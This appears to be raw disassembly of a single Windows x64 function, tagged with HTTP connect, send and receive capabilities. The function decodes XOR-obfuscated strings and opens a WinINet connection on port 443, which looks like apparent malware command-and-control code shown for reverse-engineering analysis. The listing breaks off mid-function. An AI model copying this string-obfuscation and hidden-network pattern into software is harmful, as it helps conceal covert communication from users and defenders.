Function at 0x14004bb50
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x19f0]
mov eax, 0x1af0
call fcn.1400e7d30
sub rsp, rax
movaps xmmword [rsp + 0x1ae0], xmm6
movaps xmmword [rsp + 0x1ad0], xmm7
mov r15, rdx
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x9d0]
call sub.VCRUNTIME140.dll_memset
mov rsi, qword [0x1401d4e38]
mov r12, qword [0x1401d4e40]
lea r14, [0x1401d4e28]
mov r13, qword [0x1401d4e28]
cmp r12, 0xf
cmova r14, r13
mov rdi, 0xffffffffffffffff
test rsi, rsi
je 0x14004bbf6
mov r8, rsi
lea edx, [rdi + 0x41]
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14004bbf6
sub rbx, r14
jmp 0x14004bbf9
mov rbx, rdi
lea r14, [0x1401d4e28]
cmp r12, 0xf
cmova r14, r13
cmp rbx, rsi
jae 0x14004bc2b
sub rsi, rbx
lea rcx, [r14 + rbx]
mov r8, rsi
mov edx, 0x2e
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14004bc2b
sub rax, r14
jmp 0x14004bc2e
mov rax, rdi
cmp rbx, rdi
je 0x14004dbd4
cmp rax, rdi
je 0x14004dbd4
cmp rax, rbx
jbe 0x14004dbd4
movabs rax, 0x196bba9233fa6629
mov qword [rbp + 0x210], rax
movabs rax, 0x540f477e3b5a68db
mov qword [rbp + 0x218], rax
movabs rax, 0x22f1041b0e287ca
mov qword [rbp + 0x220], rax
movabs rax, 0x4f168ed95b861545
mov qword [rbp + 0x228], rax
movabs rax, 0x1a9ec079eb71e15c
mov qword [rbp + 0x230], rax
movabs rcx, 0xf8098b5c8580e15
mov qword [rbp + 0x238], rcx
movabs rax, 0x364480e1438e1241
mov qword [rbp + 0x270], rax
movabs rax, 0x3a7a2a1354390fbd
mov qword [rbp + 0x278], rax
movabs rax, 0x2d4062319e9bf3a3
mov qword [rbp + 0x280], rax
movabs rax, 0x2e73fcba74ef6524
mov qword [rbp + 0x288], rax
movabs rax, 0x1aeca50a9e5e8428
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x490]
mov r13d, 6
mov ecx, r13d
xor r12d, r12d
nop word [rax + rax]
mov qword [rax], r12
mov qword [rax + 8], r12
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004bd30
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmmword [rbp + 0x4c0], xmm5
movdqa xmmword [rbp + 0x4d0], xmm6
movdqa xmmword [rbp + 0x4e0], xmm7
lea rax, [rbp + 0x210]
lea rcx, [rbp + 0x490]
mov esi, 5
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004bdc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rax, [rbp + 0x210]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14004be30
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x70]
call fcn.140045bd0
nop
mov eax, 0x869617ad
mov qword [rsp + 0x40], rax
movabs rcx, 0x6a243d42825
mov qword [rsp + 0x48], rcx
mov eax, 0x86e271c3
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
mov byte [rbp + 0x190], 0
xor eax, eax
mov qword [rbp + 0x198], rax
xor edx, edx
lea rcx, [rbp + 0x198]
call fcn.140055130
mov byte [rbp + 0x190], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp - 0x70]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004bef2
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.140045bd0
nop
mov qword [rbp + 0x198], rbx
mov qword [rbp + 0x1a0], r12
mov byte [rbp + 0x1a8], 0
xor eax, eax
mov qword [rbp + 0x1b0], rax
xor edx, edx
lea rcx, [rbp + 0x1b0]
call fcn.140055130
mov byte [rbp + 0x1a8], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
lea rdx, [0x1401d4dc8]
mov rcx, rbx
call fcn.140053f30
nop
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x1b8], r12
lea rax, [rbp + 0x190]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140053220
mov qword [rbp + 0x60], r12
movabs rax, 0x8a36b995d7a4
mov qword [rsp + 0x40], rax
movabs rcx, 0x2b6636ccc660166
mov qword [rsp + 0x48], rcx
movabs rax, 0x8a5ad0f4bac1
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
mov byte [rbp + 0x160], 0
xor eax, eax
mov qword [rbp + 0x168], rax
xor edx, edx
lea rcx, [rbp + 0x168]
call fcn.140055130
mov byte [rbp + 0x160], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp - 0x70]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004c063
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.140045bd0
nop
mov qword [rbp + 0x168], rbx
mov qword [rbp + 0x170], r12
mov byte [rbp + 0x178], 0
xor eax, eax
mov qword [rbp + 0x180], rax
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.140055130
mov byte [rbp + 0x178], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
lea rdx, [0x1401d4e28]
mov rcx, rbx
call fcn.140053f30
nop
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x188], r12
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.140053220
mov qword [rbp + 0x78], r12
movabs rax, 0x71d5049736
mov qword [rsp + 0x40], rax
movabs rcx, 0x505f40774684a5e
mov qword [rsp + 0x48], rcx
movabs rax, 0x71b069f658
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
mov byte [rbp + 0x130], 0
xor eax, eax
mov qword [rbp + 0x138], rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140055130
mov byte [rbp + 0x130], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp - 0x70]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c1d0
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.140045bd0
nop
mov qword [rbp + 0x138], rbx
mov qword [rbp + 0x140], r12
mov byte [rbp + 0x148], 0
xor eax, eax
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.140055130
mov byte [rbp + 0x148], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
lea rdx, [0x1401d4de8]
mov rcx, rbx
call fcn.140053f30
nop
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], r12
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140053220
mov qword [rbp + 0x90], r12
movabs rax, 0x1bd6c91619844f3e
mov qword [rbp - 0x70], rax
movabs rcx, 0x6c08f4959da406d2
mov qword [rbp - 0x68], rcx
movabs rax, 0x7fa4a6616af72e4e
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
xorps xmm2, xmm2
lea rax, [rbp + 0x210]
mov r14d, 2
mov ecx, r14d
nop word [rax + rax]
mov qword [rax], r12
mov qword [rax + 8], r12
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004c2d0
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x490], xmm0
movaps xmmword [rbp + 0x4a0], xmm2
movaps xmm0, xmmword [rbp + 0x230]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm1, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x4c0], xmm1
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x4e0], xmm1
movaps xmm0, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm1, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0x500], xmm1
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x510], xmm0
mov byte [rbp + 0x100], cl
xor eax, eax
mov qword [rbp + 0x108], rax
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.140055130
mov byte [rbp + 0x100], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp + 0x490]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14004c3b4
lea rdx, [rbp + 0x490]
mov rcx, rbx
call fcn.140045bd0
nop
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0x110], r12
mov byte [rbp + 0x118], 0
xor eax, eax
mov qword [rbp + 0x120], rax
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.140055130
mov byte [rbp + 0x118], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
lea rdx, [0x1401d4e88]
mov rcx, rbx
call fcn.140053f30
nop
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], r12
lea rax, [rbp + 0x100]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x98]
call fcn.140053220
mov qword [rbp + 0xa8], r12
movabs rax, 0x17fc682c89c5b042
mov qword [rbp - 0x70], rax
movabs rcx, 0x1b4ec66a7e2e335f
mov qword [rbp - 0x68], rcx
movabs rax, 0x1793015ee8b0c337
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
xorps xmm2, xmm2
lea rax, [rbp + 0x490]
mov rcx, r14
nop dword [rax + rax]
mov qword [rax], r12
mov qword [rax + 8], r12
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004c4b0
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmmword [rbp - 0x60], xmm2
movaps xmm0, xmmword [rbp + 0x4b0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm1, xmmword [rbp + 0x4c0]
movaps xmmword [rbp - 0x40], xmm1
movaps xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [rbp + 0x4e0]
movaps xmmword [rbp - 0x20], xmm1
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [rbp + 0x500]
movaps xmmword [rbp], xmm1
mov byte [rbp + 0xd0], cl
xor eax, eax
mov qword [rbp + 0xd8], rax
xor edx, edx
lea rcx, [rbp + 0xd8]
call fcn.140055130
mov byte [rbp + 0xd0], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp - 0x70]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c570
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.140045bd0
nop
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xe0], r12
mov byte [rbp + 0xe8], 0
xor eax, eax
mov qword [rbp + 0xf0], rax
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.140055130
mov byte [rbp + 0xe8], 3
mov ecx, 0x20
call fcn.1400e73d4
mov rbx, rax
lea rax, [rbp + 0x1a40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbx
lea rdx, [0x1401d4de8]
mov rcx, rbx
call fcn.140053f30
nop
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.140053220
mov qword [rbp + 0xc0], r12
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140053220
nop
lea r9, [0x14004dd40]
mov r8, rsi
mov edx, 0x18
lea rcx, [rbp + 0x50]
call fcn.1400e768c
nop
lea r9, [0x14004dd40]
mov r8, r14
mov edx, 0x18
lea rcx, [rbp + 0xd0]
call fcn.1400e768c
nop
lea r9, [0x14004dd40]
mov r8, r14
mov edx, 0x18
lea rcx, [rbp + 0x100]
call fcn.1400e768c
nop
lea r9, [0x14004dd40]
mov r8, r14
mov edx, 0x18
lea rcx, [rbp + 0x130]
call fcn.1400e768c
nop
lea r9, [0x14004dd40]
mov r8, r14
mov edx, 0x18
lea rcx, [rbp + 0x160]
call fcn.1400e768c
nop
lea r9, [0x14004dd40]
mov r8, r14
mov edx, 0x18
lea rcx, [rbp + 0x190]
call fcn.1400e768c
mov qword [rsp + 0x40], 0x5bca468a
movabs rax, 0x116cfed51a2
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x5be569b0
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x70]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x14004c743
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x70]
mov rsi, qword [rbp - 0x80]
mov rdx, rsi
call fcn.140056940
lea r12, [rax + 3]
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
mov qword [rbp + 0x1a48], rax
cmp r12, rsi
jae 0x14004c7b6
mov r8, rsi
sub r8, r12
lea rcx, [rax + r12]
mov edx, 0x2f
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14004c7b6
sub rbx, qword [rbp + 0x1a48]
jmp 0x14004c7b9
mov rbx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
cmp rsi, r12
jb 0x14004dd30
mov r8, rbx
sub r8, r12
sub rsi, r12
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
add rdx, r12
lea rcx, [rbp + 0x30]
call fcn.140045bd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov rax, qword [rbp - 0x80]
cmp rax, rbx
jb 0x14004dd2a
sub rax, rbx
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
add rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140045bd0
nop
movabs rax, 0x1589402f9dc49eed
mov qword [rbp + 0x210], rax
movabs rax, 0x1fe3ab68df53f40
mov qword [rbp + 0x218], rax
movabs rax, 0x6185ca683ad50c9
mov qword [rbp + 0x220], rax
movabs rax, 0x101ddfa7002cf6b0
mov qword [rbp + 0x228], rax
movabs rax, 0x11dc6d1dd43baf7c
mov qword [rbp + 0x230], rax
movabs rcx, 0x146a2bc875ec0d9a
mov qword [rbp + 0x238], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
movabs rax, 0x15fc40439d949eae
mov qword [rbp + 0x270], rax
movabs rax, 0x18b3ada8da53f33
mov qword [rbp + 0x278], rax
movabs rax, 0x6795cde83e850ba
mov qword [rbp + 0x280], rax
movabs rax, 0x1078dfcb005cf6dd
mov qword [rbp + 0x288], rax
movabs rax, 0x11ec6d33d40aaf53
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rcx
xorps xmm7, xmm7
lea rax, [rbp + 0x490]
mov rcx, r13
xor esi, esi
nop dword [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004c920
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmmword [rbp + 0x4c0], xmm5
movdqa xmmword [rbp + 0x4d0], xmm6
movdqa xmmword [rbp + 0x4e0], xmm7
lea rax, [rbp + 0x730]
lea rcx, [rbp + 0x490]
mov r12d, 5
mov edx, r12d
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004c9b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rbp + 0x730]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
mov qword [rbp + 0x1a48], rax
test rax, rax
jne 0x14004cccf
movabs rax, 0x1e5fecd17237b547
mov qword [rbp + 0x50], rax
movabs rax, 0xac95b2b8c85d662
mov qword [rbp + 0x58], rax
movabs rax, 0xf0092f52c198
mov qword [rbp + 0x60], rax
movabs rcx, 0xa9be5fddddf2f7e
mov qword [rbp + 0x68], rcx
movabs rax, 0x7030cca31d45c702
mov qword [rbp + 0x90], rax
movabs rax, 0x6fa7294ef8eb9f42
mov qword [rbp + 0x98], rax
movabs rax, 0xf0674a228eec
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
mov ebx, 4
nop dword [rax]
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rbx, 1
jne 0x14004cad0
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r14, 1
jne 0x14004cb30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], rsi
lea rax, [rbp + 0x490]
inc rdi
cmp byte [rax + rdi], sil
jne 0x14004cbc6
mov r8, rdi
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.140045bd0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004cc1d
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cc18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d293
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14004cc69
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cc64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d2e2
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14004dd02
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ccc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d34e
call fcn.1400e7658
jmp 0x14004dd02
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov r8d, 0x1bb
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov esi, 3
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov qword [rsp + 0x20], r9
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x1a40], rax
test rax, rax
jne 0x14004cf4e
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0xe00ede520703fdb
mov qword [rbp + 0x50], rax
movabs rax, 0x154aa942a78f9cf6
mov qword [rbp + 0x58], rax
movabs rax, 0x14bb9cb2e89547e
mov qword [rbp + 0x60], rax
movabs rax, 0x67ec60261c6a8031
mov qword [rbp + 0x68], rax
movabs rax, 0x606fcd974f024d9e
mov qword [rbp + 0x90], rax
movabs rax, 0x7024db27d3e1d5d6
mov qword [rbp + 0x98], rax
movabs rax, 0x7528dca540e6170a
mov qword [rbp + 0xa0], rax
movabs rax, 0x67ec60261c6a8070
mov qword [rbp + 0xa8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
lea ebx, [rsi + 1]
xor edx, edx
nop dword [rax]
mov qword [rax], rdx
mov qword [rax + 8], rdx
lea rax, [rax + 0x10]
sub rbx, 1
jne 0x14004cdb0
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
